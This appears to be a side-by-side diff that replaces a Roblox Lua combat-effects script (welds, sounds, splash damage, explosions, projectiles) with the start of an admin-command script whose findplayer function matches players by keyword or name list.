| 208 | - | pcall(function() c.Shirt:Clone().Parent = su end) |
| 208 | + | |
| 209 | - | lh = to["Left Hip"] rh = to["Right Hip"] ls = to["Left Shoulder"] rs = to["Right Shoulder"] |
| 209 | + | namelist = { }
|
| 210 | - | lh.Part0=t rh.Part0=t ls.Part0=t rs.Part0=t |
| 210 | + | variablelist = { }
|
| 211 | - | law2 = it("Weld",la) raw2 = it("Weld",ra) llw2 = it("Weld",ll) rlw2 = it("Weld",rl)
|
| 211 | + | flist = { }
|
| 212 | - | law2.Part0 = la raw2.Part0 = ra llw2.Part0 =ll rlw2.Part0 = rl |
| 212 | + | |
| 213 | - | law2.C0 = cn(0,-1,0) raw2.C0 = cn(0,-1,0) llw2.C0 = cn(0,-1,0) rlw2.C0 = cn(0,-1,0) |
| 213 | + | local source = script:FindFirstChild("source")
|
| 214 | - | la.Transparency=1 ra.Transparency=1 ll.Transparency=1 rl.Transparency=1 |
| 214 | + | if source ~= nil then |
| 215 | - | c["Left Arm"].Transparency = 0 c["Right Arm"].Transparency = 0 |
| 215 | + | sbbu = script.source:clone() |
| 216 | - | c["Left Leg"].Transparency = 0 c["Right Leg"].Transparency = 0 |
| 216 | + | sbbu.Disabled = false |
| 217 | - | Armb=true Armb2=true |
| 217 | + | else |
| 218 | - | Legb=true Legb2=true |
| 218 | + | print("source doesnt exist, your command script may malfunction")
|
| 219 | - | function Armz(ison) Armb=ison if ison then |
| 219 | + | end |
| 220 | - | law.Part0=c["Left Arm"] law.C0=cn(-1.5,1,0) raw.Part0=c["Right Arm"] raw.C0=cn(1.5,1,0) |
| 220 | + | |
| 221 | - | ls.Part1 = c["Left Arm"] rs.Part1 = c["Right Arm"] law2.Part1 = la raw2.Part1 = ra |
| 221 | + | |
| 222 | - | else |
| 222 | + | tools = Instance.new("Model")
|
| 223 | - | law2.Part0 = la law2.Part1 = c["Left Arm"] raw2.Part0 = ra raw2.Part1 = c["Right Arm"] |
| 223 | + | c = game.Lighting:GetChildren() |
| 224 | - | ls.Part1 = t rs.Part1 = t law.Part0=t law.C0=cn(-1.5,1,0) raw.Part0=t raw.C0=cn(1.5,1,0) |
| 224 | + | for i=1,#c do |
| 225 | if c[i].className == "Tool" then | |
| 226 | - | function Legz(ison) Legb=ison if ison then |
| 226 | + | c[i]:clone().Parent = tools |
| 227 | - | llw.Part0=c["Left Leg"] llw.C0=cn(-0.5,-1,0) rlw.Part0=c["Right Leg"] rlw.C0=cn(0.5,-1,0) |
| 227 | + | end |
| 228 | - | lh.Part1 = c["Left Leg"] rh.Part1 = c["Right Leg"] llw2.Part1 = ll rlw2.Part1 = rl |
| 228 | + | if c[i].className == "HopperBin" then |
| 229 | - | else |
| 229 | + | c[i]:clone().Parent = tools |
| 230 | - | llw2.Part0 = ll llw2.Part1 = c["Left Leg"] rlw2.Part0 = rl rlw2.Part1 = c["Right Leg"] |
| 230 | + | end end |
| 231 | - | lh.Part1 = t rh.Part1 = t llw.Part0=t llw.C0=cn(-0.5,-1,0) rlw.Part0=t rlw.C0=cn(0.5,-1,0) |
| 231 | + | |
| 232 | - | end end function Headz(ison) if ison then he.Transparency=0 else end end |
| 232 | + | function findplayer(name,speaker) |
| 233 | - | Armz(true) Legz(true) --newhats(c,hd2,he) |
| 233 | + | if string.lower(name) == "all" then |
| 234 | - | hax2sazc = "SND" |
| 234 | + | local chars = { }
|
| 235 | - | function Sound(sidz,pit,vol,parz) local sid=sidz if sid:sub(1,3) ~= "rbx" then sid = asset .. sid end local parx = to if parz then parx = parz end q(function() local sou = it("Sound") sou.SoundId = sid sou.Pitch = pit sou.Volume = vol/1.5 sou.Parent = parx game:service'Lighting'[hax2sazc].Value = sou w(5) sou:Remove'' end) end
|
| 235 | + | local c = game.Players:GetChildren() |
| 236 | - | Sound("Your_F*cking_Name_here",1,1,he)
|
| 236 | + | for i =1,#c do |
| 237 | - | function SplashDmg(tehsit,pos,dmgx,mag,forc,fu) q(function() |
| 237 | + | if c[i].className == "Player" then |
| 238 | - | local function dive(obj) for i,v in pairs(obj:children()) do if i%(#obj:children()/5)==0 then w() end --if i%antisplashdamagesexhack==0 then w() end --i%(#obj:children()/4)==0 then w() end |
| 238 | + | table.insert(chars,c[i]) |
| 239 | - | if not v:IsA("Model") and v ~= to and v:IsA("BasePart") and v.Name=="Torso" and getclass(v.Parent,"Humanoid") ~= nil and (v.Position - pos).magnitude < mag then local av=getclass(v.Parent,"Humanoid") Dmgz(true,av,dmgx,v,fu) if tehsit then av.Sit=true end
|
| 239 | + | end end |
| 240 | - | --elseif v:IsA("BasePart") and (v.Position-pos).magnitude < mag and not v.Anchored and v:GetMass() < 200 and v.Name ~= "Handle" and findclass(v.Parent,"Humanoid") <1 and findclass(v.Parent.Parent,"Humanoid") <1 and v.Parent.Parent.Name ~= "Suit" then if (v.Position-pos).magnitude < mag/2 then v:BreakJoints() v.CFrame=cn(v.Position,pos)*ca(0,rd(180),0) end v.Velocity=cn(pos,v.Position).lookVector*forc
|
| 240 | + | return chars |
| 241 | - | else q(function() if #v:children() > 0 and not v:IsA("BasePart") and v.className~="Script" and v.className~="Camera" then dive(v) end end) end
|
| 241 | + | elseif string.sub(string.lower(name),1,9) == "nonadmins" then |
| 242 | - | end end -- func and loop end |
| 242 | + | local nnum = 0 |
| 243 | - | dive(workspace) dive(workspace.CurrentCamera) end) end |
| 243 | + | local chars = { }
|
| 244 | - | for i,v in pairs(c:children()) do if v.Name == su.Name and v ~= su then v:Remove() end end |
| 244 | + | local c = game.Players:GetChildren() |
| 245 | - | function BlastMesh(col2,pos,adjus2,sc) local adjus=adjus2 *cn(0,-0.12*sc,0) local spi=pa(m,"","Block",0,0,0,false,false,1,0,col2) spi.Anchored=true local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=Decs.Crown spim.Scale=v3(sc*1.4,(sc*0.4),sc*1.4) q(function() local fu=spim.Scale local spix=0 for i=1,0.4,-0.05 do spix=spix + 15 spi.Transparency=i spim.Scale=v3(((fu.x*i)/2)+(fu.x/2),fu.y,((fu.z*i)/2)+(fu.z/2)) spi.CFrame=pos.CFrame *adjus *ca(0,rd(spix),0) w() end for i=0.4,1,0.05 do spix=spix + 15 spi.Transparency=i spim.Scale=v3(fu.x*i,fu.y,fu.z*i) spi.CFrame=pos.CFrame *adjus *ca(0,rd(spix),0) w() end spi:Remove'' end) end
|
| 245 | + | for i=1,#c do |
| 246 | - | function GlowMesh(anch,meshid2,rootz,mv3,colzz,adjus,l1,l2,l3) q(function() |
| 246 | + | local isadmin = false |
| 247 | - | local spi=pa(c,"","Block",1,1,1,false,false,l1,0,colzz) local spim=it("SpecialMesh",spi) if meshid2:lower()=="sphere" then spim.MeshType="Sphere" elseif meshid2:lower()=="block" then spim.MeshType="Brick" else spim.MeshType="FileMesh" spim.MeshId=meshid2 end
|
| 247 | + | for i2 =1,#namelist do |
| 248 | - | if anch then local spiw=weld(spi,rootz,spi,0,0,0,0,0,0) spiw.C0 =spiw.C0 *adjus else spi.Anchored=true spi.CFrame=adjus end |
| 248 | + | if namelist[i2] == c[i].Name then |
| 249 | - | for i=l1,l2,l1 do spi.Transparency=i spim.Scale=mv3*(i+0.3) w() end spi:Remove'' end) |
| 249 | + | isadmin = true |
| 250 | end end | |
| 251 | - | function Explode(onb,scz,colzz,dmge) q(function() local scale=scz*2 local scale2=scale*0.825 |
| 251 | + | if isadmin == false then |
| 252 | - | local e1=pa(c,"","Block",0,0,0,false,false,0.3,0,colzz) e1.Anchored=true e1.CFrame=onb*ca(rd(-90),0,0) local e1m=it("SpecialMesh",e1) e1m.MeshType="FileMesh" e1m.MeshId=Decs.Ring
|
| 252 | + | nnum = nnum + 1 |
| 253 | - | local e2=pa(c,"","Block",0,0,0,false,false,0.3,0,colzz) e2.Anchored=true e2.CFrame=onb*ca(0,0,0) local e2m=it("SpecialMesh",e2) e2m.MeshType="FileMesh" e2m.MeshId=Decs.Ring
|
| 253 | + | table.insert(chars,c[i]) |
| 254 | - | local e3=pa(c,"","Block",0,0,0,false,false,0.3,0,colzz) e3.Anchored=true e3.CFrame=onb*ca(0,0,0) local e3m=it("SpecialMesh",e3) e3m.MeshType="FileMesh" e3m.MeshId=Decs.Crown
|
| 254 | + | end end |
| 255 | - | SplashDmg(false,onb.p,dmge,scale/1.6,125) q(function() for i=0.4,1,0.04 do w() end fade(e1,0.1) fade(e2,0.1) fade(e3,0.1) end) for i=0.3,1,0.035 do |
| 255 | + | if nnum == 0 then |
| 256 | - | e3m.Scale=v3((scale2/1.3)*i,(scale2/2)*i,(scale2/1.3)*i) e2m.Scale=v3((scale2*1.3)*i,(scale2*1.3)*i,(scale2*1.3)*i) e1m.Scale=v3((scale2*1.3)*i,(scale2*1.3)*i,(scale2*1.3)*i) e1.CFrame=onb*ca(rd(-90),rd(360),0) e2.CFrame=onb*ca(0,rd(360),0) e3.CFrame=onb*ca(rd(180),rd(360),0) w() |
| 256 | + | return 0 |
| 257 | else | |
| 258 | - | end) end |
| 258 | + | return chars |
| 259 | - | function splat2(pos,dmge) |
| 259 | + | end |
| 260 | - | local dbr=it("Model",workspace) local colz2="Bright red" if ts(dmge)=="Block!" then colz2="Bright blue" end
|
| 260 | + | elseif string.sub(string.lower(name),1,6) == "admins" then |
| 261 | - | dbr.Name=ts(dmge) local dbri=pa(dbr,"Head","Block",1,0,1,false,false,0,0,colz2) it("Humanoid",dbr).MaxHealth=0
|
| 261 | + | local anum = 0 |
| 262 | - | dbri.Anchored=true dbri.CFrame=cn(pos + v3(rn(-15,15)/10,3,rn(-15,15)/10)) game:service'Debris':AddItem(dbr,0.5) end |
| 262 | + | local chars = { }
|
| 263 | - | local DBDH={}
|
| 263 | + | local c = game.Players:GetChildren() |
| 264 | - | function Dmgz(blockz,aihu,dmgzz2,pos,fuu) if ft(DBDH,aihu.Parent) or aihu == hu then return end if aihu.Health==0 then return end if aihu.Parent:findFirstChild("ForceField") then return end dmgdeb2=true q(function() if (aihu.Parent:findFirstChild("Block") and aihu.Parent.Block:IsA("BoolValue") and aihu.Parent.Block.Value and not blockz) or pos.Name:lower()=="shield" then splat2(pos.Position,"Bl" .. "ock!") w(0.2) Sound(Sounds.Block,1.4,3) return end
|
| 264 | + | for i=1,#c do |
| 265 | - | local dmgzz=dmgzz2 if game:service'Players':findFirstChild(aihu.Parent.Name) and not tk then return end if game:service'Players':findFirstChild(aihu.Parent.Name) == nil then dmgzz=dmgzz*1.75 end ti(DBDH,aihu.Parent) if rn(1,a.cr[1]) == 1 then aihu.Health=aihu.Health-dmgzz*a.cr[2] dmgzz="Crit! " ..ts(dmgzz*a.cr[2]) else q(function() fuu(aihu.Parent) end) aihu.Health=aihu.Health-dmgzz end if not pos then return end splat2(pos.Position,dmgzz) q(function() w(0.08) tr(DBDH,ft(DBDH,aihu.Parent)) end) |
| 265 | + | for i2 =1,#namelist do |
| 266 | - | end) end |
| 266 | + | if namelist[i2] == c[i].Name then |
| 267 | - | function rayHit(wai,lolk,weplol,adjus,magz,tim) local DebounceTable2={} q(function()
|
| 267 | + | anum = anum + 1 |
| 268 | - | local hitx=0 local tymzup=false q(function() w(wai) tymzup=true end) |
| 268 | + | table.insert(chars,c[i]) |
| 269 | - | repeat w() local tries=0 local bhit,bpos=nil,v3(999,999,999) |
| 269 | + | end end end |
| 270 | - | repeat tries=tries + 1 local xx=0 local yy=0 if tries==1 then xx=1 elseif tries==2 then xx=-1 elseif tries == 3 then yy=1 elseif tries == 4 then yy=-1 elseif tries == 5 then xx=-1 yy=-1 elseif tries == 6 then xx,yy=1,1 elseif tries == 7 then xx,yy=-1,1 elseif tries == 8 then xx,yy=1,-1 end |
| 270 | + | if anum == 0 then |
| 271 | - | bhit,bpos=ray((weplol.CFrame *adjus *cn(xx,yy,-0.8)).p,weplol.Position - (weplol.CFrame *adjus *cn(0,0,2)).p) |
| 271 | + | return 0 |
| 272 | - | if bhit ~= nil and (bpos - weplol.Position).magnitude < magz+0.8 then break end until tries > 8 |
| 272 | + | else |
| 273 | - | if bhit==nil or (bpos - weplol.Position).magnitude > magz+0.8 then else local brea=false |
| 273 | + | return chars |
| 274 | - | for i,v in pairs(bhit.Parent:children()) do local dmge=rn(d[1],d[2])*tim |
| 274 | + | end |
| 275 | - | if v:IsA("Humanoid") and not DebounceTable2[v.Parent.Name] then DebounceTable2[v.Parent.Name]=true Dmgz(false,v,dmge,bhit) Sound(Sounds.Smash,0.9,1) hitx=hitx+1 brea=true break end end
|
| 275 | + | elseif string.sub(string.lower(name),1,6) == "random" then |
| 276 | - | if bhit.Parent ~= workspace and not brea then for i,v in pairs(bhit.Parent.Parent:children()) do local dmge=rn(d[1],d[2])*tim |
| 276 | + | while true do |
| 277 | - | if v.Parent:findFirstChild("Humanoid") and not DebounceTable2[v.Parent.Parent.Name] then DebounceTable2[v.Parent.Parent.Name]=true Dmgz(false,v.Parent.Humanoid,dmge,bhit) Sound(Sounds.Smash,0.9,1) hitx=hitx+1 break end end
|
| 277 | + | local c = game.Players:GetChildren() |
| 278 | local r = math.random(1,#c) | |
| 279 | - | end until hitx >= lolk or tymzup end) end |
| 279 | + | if c[r].className == "Player" then |
| 280 | - | function GetRegion(p0,p1,f,f2) q(function() |
| 280 | + | return { c[r] }
|
| 281 | - | for i,v in pairs(workspace:FindPartsInRegion3(Region3.new(p0,p1),c,100) ) do if v.Parent:findFirstChild("Humanoid") and v.Parent.Humanoid.Health > 0 and v.Parent:findFirstChild("Torso") then q(function() f(v.Parent) end) elseif f2 and v.Parent.Parent:findFirstChild("Humanoid") == nil then f2(v) end end
|
| 281 | + | end end |
| 282 | - | end) end |
| 282 | + | elseif string.sub(string.lower(name),1,6) == "guests" then |
| 283 | - | function FindGround(pos) local ax,ay,az = pos:toEulerAnglesXYZ() |
| 283 | + | local gnum = 0 |
| 284 | - | local bhit,bpos=ray(pos.p,pos.p - (pos.p + v3(0,200,0))) |
| 284 | + | local chars = { }
|
| 285 | - | if bhit and bpos then return cn(bpos)*ca(ax,ay,az) end return nil end |
| 285 | + | local c = game.Players:GetChildren() |
| 286 | - | function MakeCrater(pos,sc,tyms,debz) q(function() if not debz then debz = 5 end |
| 286 | + | for i=1,#c do |
| 287 | - | local bhit,bpos=ray(pos,pos - (pos + v3(0,200,0))) |
| 287 | + | if string.sub(c[i].Name,1,5) == "Guest" then |
| 288 | - | if bhit and bpos then |
| 288 | + | gnum = gnum + 1 |
| 289 | - | for i=1,tyms do q(function() |
| 289 | + | table.insert(chars,c[i]) |
| 290 | - | local gr = pa(su,"","Block",rn(5,13)/10*sc,0.25*sc,rn(4,10)/10*sc,true,true,bhit.Transparency,bhit.Reflectance,bhit.BrickColor.Name) gr.Material = bhit.Material gr.TopSurface = bhit.TopSurface |
| 290 | + | end end |
| 291 | - | gr.CFrame = cn(bpos+v3(rn(-12,12)/10*sc,0,rn(-12,12)/10*sc))*ca(rd(rn(-40,40)),rd(rn(-360,360)),rd(rn(-40,40))) wait(debz) fade(gr,0.1) |
| 291 | + | if gnum == 0 then |
| 292 | - | end) end |
| 292 | + | return 0 |
| 293 | else | |
| 294 | - | end) |
| 294 | + | return chars |
| 295 | end | |
| 296 | - | function ForceBrick(v,rootpos,force) q(function() if v:GetMass() > 100 or v.Anchored or getclass(v,"Weld") then return end |
| 296 | + | elseif string.sub(string.lower(name),1,5) == "team " then |
| 297 | - | v:BreakJoints() v.Velocity = cn(rootpos,v.Position).lookVector*force |
| 297 | + | local theteam = nil |
| 298 | - | end) end |
| 298 | + | local tnum = 0 |
| 299 | - | function FireObj(v,tcf2,adj,spi,tym,rang,fu,glo) q(function() -- obj,cf,adj,spid,tyms,rang,func,glo |
| 299 | + | if game.Teams ~= nil then |
| 300 | - | local tcf = tcf2 for i=1,tym do |
| 300 | + | local c = game.Teams:GetChildren() |
| 301 | - | bhit,bpos=ray(tcf.p,tcf.p - (tcf *cn(0,0,-1)).p) |
| 301 | + | for i =1,#c do |
| 302 | - | if bhit and (bpos - tcf.p).magnitude < rang then break end |
| 302 | + | if c[i].className == "Team" then |
| 303 | - | tcf=tcf*cn(0,0,spi) v.CFrame=tcf*adj |
| 303 | + | if string.find(string.lower(c[i].Name),string.sub(string.lower(name),6)) == 1 then |
| 304 | - | wait() end |
| 304 | + | theteam = c[i] |
| 305 | - | if glo then GlowMesh(false,"Sphere",t,v3(glo,glo,glo),'Navy blue',cn(bpos),0.1,1,0.08) end |
| 305 | + | tnum = tnum + 1 |
| 306 | - | if fu and bhit then fu(bhit) else wait(rn(0,20)/10) fade(v,0.1) end |
| 306 | + | end end end |
| 307 | - | end) end |
| 307 | + | if tnum == 1 then |
| 308 | - | function ProjHit1(v,hit,mul2) local mul = mul2 q(function() if not mul2 then mul = 1 end if not hit.Anchored then |
| 308 | + | local chars = { }
|
| 309 | - | if hit.Parent:findFirstChild("Humanoid") and hit.Parent:findFirstChild("Torso") then Dmgz(false,hit.Parent.Humanoid,rn(d[1],d[2])*mul,hit.Parent.Torso) end
|
| 309 | + | local c = game.Players:GetChildren() |
| 310 | - | v.Anchored = false stick(hit,v) |
| 310 | + | for i =1,#c do |
| 311 | - | wait(1) end wait(rn(10,25)/10) fade(v,0.1) end) end |
| 311 | + | if c[i].className == "Player" then |
| 312 | - | --Dio's functions |
| 312 | + | if c[i].TeamColor == theteam.TeamColor then |
| 313 | - | function SpawnSword(pos,sc,dmg,col) if pos == nil then return end q(function() MakeCrater(pos.p+v3(0,2,0),3,3,3) |
| 313 | + | table.insert(chars,c[i]) |
| 314 | - | GlowMesh(false,"Sphere",t,v3(7*sc,1.5*sc,7*sc),col,pos,0.1,1,0.05) |
| 314 | + | end end end |
| 315 | - | local pro = pa(su,"","Block",2*sc,2*sc,7*sc,true,true,0.3,0,"") local prom = qi({"SpecialMesh",pro,Scale=v3(3*sc,2*sc,4*sc),VertexColor=v3(0,0,1),MeshType="FileMesh",MeshId=Decs.RedCliff,TextureId=Decs.RedCliffT})
|
| 315 | + | return chars |
| 316 | - | pro.CFrame = pos*ca(rd(-25),0,0)*cn(0,-3*sc,0) local cff = pro.CFrame for i=0.1,1,0.15 do pro.CFrame=cff*cn(0,6*sc*i,0)*ca(rd(-90),0,0)*ca(0,0,rd(90)) wait() end |
| 316 | + | end end |
| 317 | - | local rr = sc*1.5 GetRegion(pro.Position-v3(rr,rr,rr),pro.Position+v3(rr,rr,rr),function(v) v.Humanoid.PlatformStand = true local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(pro.Position,v.Torso.Position+v3(0,20,0)).lookVector*40}) Dmgz(false,v.Humanoid,rn(d[1],d[2]),v.Torso) wait(0.15) bpp:Remove() v.Humanoid.PlatformStand = false end) wait(1) for i=1,0,-0.15 do pro.CFrame=cff*cn(0,6*sc*i,0)*ca(rd(-90),0,0)*ca(0,0,rd(90)) wait() end pro:Remove() end)
|
| 317 | + | return 0 |
| 318 | - | end local bped = {}
|
| 318 | + | elseif string.lower(name) == "me" then |
| 319 | - | function SpikeSucker(pos,sc) |
| 319 | + | local Blobbie244 = { speaker }
|
| 320 | - | local bal = pa(c,"","Ball",4*sc,4*sc,4*sc,false,true,0.16,0,"White") bal.CFrame = pos |
| 320 | + | return Blobbie244 |
| 321 | - | local spi = pa(c,"","Ball",0,0,0,false,true,0.16,0,"White") spi.CFrame = bal.CFrame local spm = qi({"SpecialMesh",spi,MeshType="FileMesh",MeshId=Decs.SpikeBall})
|
| 321 | + | elseif string.lower(name) == "others" then |
| 322 | - | local dia = pa(bal,"","Block",0,0,0,false,true,0.3,0,"Really red") qi({"SpecialMesh",dia,Scale=v3(1*sc,2*sc,1*sc),MeshType="FileMesh",MeshId=Decs.Diamond})
|
| 322 | + | local chars = { }
|
| 323 | - | local dia2 = dia:Clone() dia2.Parent = bal local dia3 = dia:Clone() dia3.Parent = bal local tms = 0 local rr=10*sc for x=1,4 do |
| 323 | + | local c = game.Players:GetChildren() |
| 324 | - | for i=0,1,0.1 do tms = tms + 1 |
| 324 | + | for i =1,#c do |
| 325 | - | spm.Scale = v3(i,i,i)*1.7 spi.CFrame=spi.CFrame*ca(rd(4),rd(4),rd(4)) dia.CFrame = bal.CFrame*ca(rd(tms*5),0,0)*cn(0,6*sc,0) dia2.CFrame = bal.CFrame*ca(0,0,rd(tms*5))*cn(0,6*sc,0) dia3.CFrame = bal.CFrame*ca(0,rd(tms*5),0)*cn(0,0,6*sc)*ca(rd(90),0,0) |
| 325 | + | if c[i].className == "Player" then |
| 326 | - | if tms%3==0 then GetRegion(bal.Position-v3(rr,rr,rr),bal.Position+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(1,3),v.Torso) if v.Torso:findFirstChild("SBP") == nil then ti(bped,v) qi({"BodyPosition",v.Torso,Name="SBP",D=6000,maxForce=v3(200000,200000,200000),position=bal.Position}) end end) end
|
| 326 | + | if c[i] ~= speaker then |
| 327 | - | wait() |
| 327 | + | table.insert(chars,c[i]) |
| 328 | end end end | |
| 329 | - | for i=1,0,-0.1 do tms = tms + 1 |
| 329 | + | return chars |
| 330 | - | spm.Scale = v3(i,i,i)*1.7 spi.CFrame=spi.CFrame*ca(rd(4),rd(4),rd(4)) dia.CFrame = bal.CFrame*ca(rd(tms*5),0,0)*cn(0,6*sc,0) dia2.CFrame = bal.CFrame*ca(0,0,rd(tms*5))*cn(0,6*sc,0) dia3.CFrame = bal.CFrame*ca(0,rd(tms*5),0)*cn(0,0,6*sc)*ca(rd(90),0,0) |
| 330 | + | else |
| 331 | - | if tms%3==0 then GetRegion(bal.Position-v3(rr,rr,rr),bal.Position+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(1,3),v.Torso) if v.Torso:findFirstChild("SBP") == nil then ti(bped,v) qi({"BodyPosition",v.Torso,Name="SBP",D=6000,maxForce=v3(200000,200000,200000),position=bal.Position}) end end) end
|
| 331 | + | local chars = { }
|
| 332 | - | wait() |
| 332 | + | local commalist = { }
|
| 333 | local ssn = 0 | |
| 334 | - | for i,v in pairs(bped) do q(function() for i,vv in pairs(v.Torso:children()) do if vv.Name == "SBP" then vv:Remove() end end end) end |
| 334 | + | local lownum = 1 |
| 335 | local highestnum = 1 | |
| 336 | - | q(function() fade(dia,0.2) fade(dia2,0.2) fade(dia3,0.2) for i=0.1,1,0.1 do spi.Transparency = i spm.Scale = spm.Scale*1.1 bal.Transparency = i bal.Size = bal.Size*1.1 bal.CFrame = pos wait() end spi:Remove() bal:Remove() end) |
| 336 | + | local foundone = false |
| 337 | while true do | |
| 338 | - | function Blackspace(pos,tms,dmg) |
| 338 | + | ssn = ssn + 1 |
| 339 | - | local bal = pa(c,"","Ball",52,52,52,false,true,1,0,"Really black") bal.CFrame = pos |
| 339 | + | if string.sub(name,ssn,ssn) == "" then |
| 340 | - | for i=1,0.5,-0.1 do bal.Transparency =i wait() end |
| 340 | + | table.insert(commalist,lownum) |
| 341 | - | for i=1,tms do local o = 25 |
| 341 | + | table.insert(commalist,ssn - 1) |
| 342 | - | Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(25,0,0).p,4,2.5,"Institutional white",0.3,0) |
| 342 | + | highestnum = ssn - 1 |
| 343 | - | Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(-25,0,0).p,4,2.5,"Institutional white",0.3,0) |
| 343 | + | break |
| 344 | - | Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,25,0).p,4,2.5,"Institutional white",0.3,0) |
| 344 | + | end |
| 345 | - | Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,-25,0).p,4,2.5,"Institutional white",0.3,0) |
| 345 | + | if string.sub(name,ssn,ssn) == "," then |
| 346 | - | Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,0,25).p,4,2.5,"Institutional white",0.3,0) |
| 346 | + | foundone = true |
| 347 | - | Lightning(pos.p,pos*ca(rd(i*o),rd(i*o),rd(i*o))*cn(0,0,-25).p,4,2.5,"Institutional white",0.3,0) |
| 347 | + | table.insert(commalist,lownum) |
| 348 | - | local rr = 25 if i%4==0 then GetRegion(pos.p-v3(rr,rr,rr),pos.p+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(3,5),v.Torso) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(bal.Position,v.Torso.Position).lookVector*10}) wait(0.1) bpp:Remove() end) end
|
| 348 | + | table.insert(commalist,ssn) |
| 349 | - | wait(0.05) |
| 349 | + | lownum = ssn + 1 |
| 350 | end end | |
| 351 | - | for i=0.5,1,0.1 do bal.Transparency =i wait() end bal:Remove() |
| 351 | + | if foundone == true then |
| 352 | for ack=1,#commalist,2 do | |
| 353 | - | function MatterBall(pos,sc,spid,tyms,dmgmul) q(function() |
| 353 | + | local cnum = 0 |
| 354 | - | local cor = db1:Clone() cor.Mesh.Scale=v3(sc,sc,sc)*5 local cor2 = db2:Clone() cor2.Mesh.Scale = cor.Mesh.Scale*1.55 qi({"Fire",cor,Color=bc('Navy blue').Color,SecondaryColor=bc('Navy blue').Color,Size=sc*3.5,Heat=0})
|
| 354 | + | local char = nil |
| 355 | - | cor.Transparency = 0.05 cor.Anchored = true cor2.Anchored = true cor2.Transparency = 0.4 cor.Parent = su cor2.Parent = cor cor.CFrame = pos |
| 355 | + | local c = game.Players:GetChildren() |
| 356 | - | local corms = cor.Mesh.Scale local cor2ms = cor2.Mesh.Scale for i=1,tyms do local lolvt = {-2*sc,2*sc}
|
| 356 | + | for i =1,#c do |
| 357 | - | local lolv3 = v3(0,0,0) local lolrn = rn(1,3) if lolrn == 1 then lolv3=v3(lolvt[rn(1,2)],0,0) elseif lolrn == 2 then lolv3=v3(0,lolvt[rn(1,2)],0) elseif lolrn == 3 then lolv3=v3(0,0,lolvt[rn(1,2)]) end cor.Mesh.Scale=corms+lolv3 cor2.Mesh.Scale=cor2ms+lolv3 |
| 357 | + | if c[i].className == "Player" then |
| 358 | - | cor.CFrame = pos*cn(0,0,-spid*i) |
| 358 | + | if string.find(string.lower(c[i].Name),string.sub(string.lower(name),commalist[ack],commalist[ack + 1] - 1)) == 1 then |
| 359 | - | local bhit,bpos=ray(cor.Position,cor.Position - (cor.CFrame *cn(0,0,1)).p) |
| 359 | + | char = c[i] |
| 360 | - | if bhit and (bpos - cor.Position).magnitude < (spid*1.1) then break end |
| 360 | + | cnum = cnum + 1 |
| 361 | - | cor.CFrame=cor.CFrame*ca(rd(rn(-360,360)),rd(rn(-360,360)),rd(rn(-360,360))) cor2.CFrame = cor.CFrame |
| 361 | + | end end end |
| 362 | - | local lolpos = FindGround(cor.CFrame) if lolpos and i%rn(2,3)==0 then GlowMesh(false,Decs.Crown,t,v3(2.6*sc,0.8*sc,2.6*sc),'Navy blue',cn(lolpos.p+v3(0,0.15*sc,0)),0.1,1,0.05) end |
| 362 | + | if cnum == 1 then |
| 363 | - | wait() end cor.Fire:Remove() |
| 363 | + | table.insert(chars,char) |
| 364 | - | q(function() |
| 364 | + | end end |
| 365 | - | local n1 = pa(su,"","Block",0,0,0,true,true,0.3,0,"White") qi({"SpecialMesh",n1,Scale=v3(3.5,3.5,8),MeshType="FileMesh",MeshId=Decs.Chakram})
|
| 365 | + | if #chars ~= 0 then |
| 366 | - | local n2 = n1:Clone() n2.Parent = su n1.CFrame = cor.CFrame*ca(0,rd(-45),0) n2.CFrame = cor.CFrame*ca(0,rd(45),0) |
| 366 | + | return chars |
| 367 | - | for i=1,8 do n1.Mesh.Scale = n1.Mesh.Scale+v3(0.3*sc,0.3*sc,0.35*sc) n2.Mesh.Scale = n1.Mesh.Scale cor.Transparency = cor.Transparency + 0.12 n1.Transparency = cor.Transparency n2.Transparency = n1.Transparency cor2.Transparency = cor2.Transparency + 0.1 cor.Mesh.Scale = cor.Mesh.Scale+v3(2.3*sc,2.3*sc,2.3*sc) cor2.Mesh.Scale = cor.Mesh.Scale*1.55 wait() end n1:Remove() n2:Remove() cor:Remove() cor2:Remove() end) |
| 367 | + | else |
| 368 | - | local rr = sc GetRegion(cor.Position-v3(rr,rr,rr),cor.Position+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(cor.Position,v.Torso.Position+v3(0,2,0)).lookVector*60}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*dmgmul,v.Torso) wait(0.12) bpp:Remove() end)
|
| 368 | + | return 0 |
| 369 | - | end) end |
| 369 | + | end |
| 370 | - | function FistBoom(pos,sc,dmg,TYMZEH) q(function() |
| 370 | + | else |
| 371 | - | local rip = pa(su,"","Block",1,1,1,false,true,0.2,0,"White") local ripm = qi({"SpecialMesh",rip,MeshType="Sphere"})
|
| 371 | + | local cnum = 0 |
| 372 | - | rip.CFrame = pos*cn(-4*sc/2,4*sc/2,0)*ca(0,0,rd(45)) |
| 372 | + | local char = nil |
| 373 | - | for i=1,3.5,0.5 do rip.Size=v3(1,i*2,1) rip.CFrame = pos*cn((-4+i)*sc,(4-i)*sc,0)*ca(0,0,rd(45)) wait() end |
| 373 | + | local c = game.Players:GetChildren() |
| 374 | - | for i=1,3.5,0.25 do rip.Size=v3(i*2,7,1) rip.CFrame = pos*ca(0,0,rd(45)) wait() end |
| 374 | + | for i =1,#c do |
| 375 | - | local fis = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") local fism = qi({"SpecialMesh",fis,Scale=v3(8*sc,8*sc,8*sc),MeshType="FileMesh",MeshId=Decs.Fist})
|
| 375 | + | if c[i].className == "Player" then |
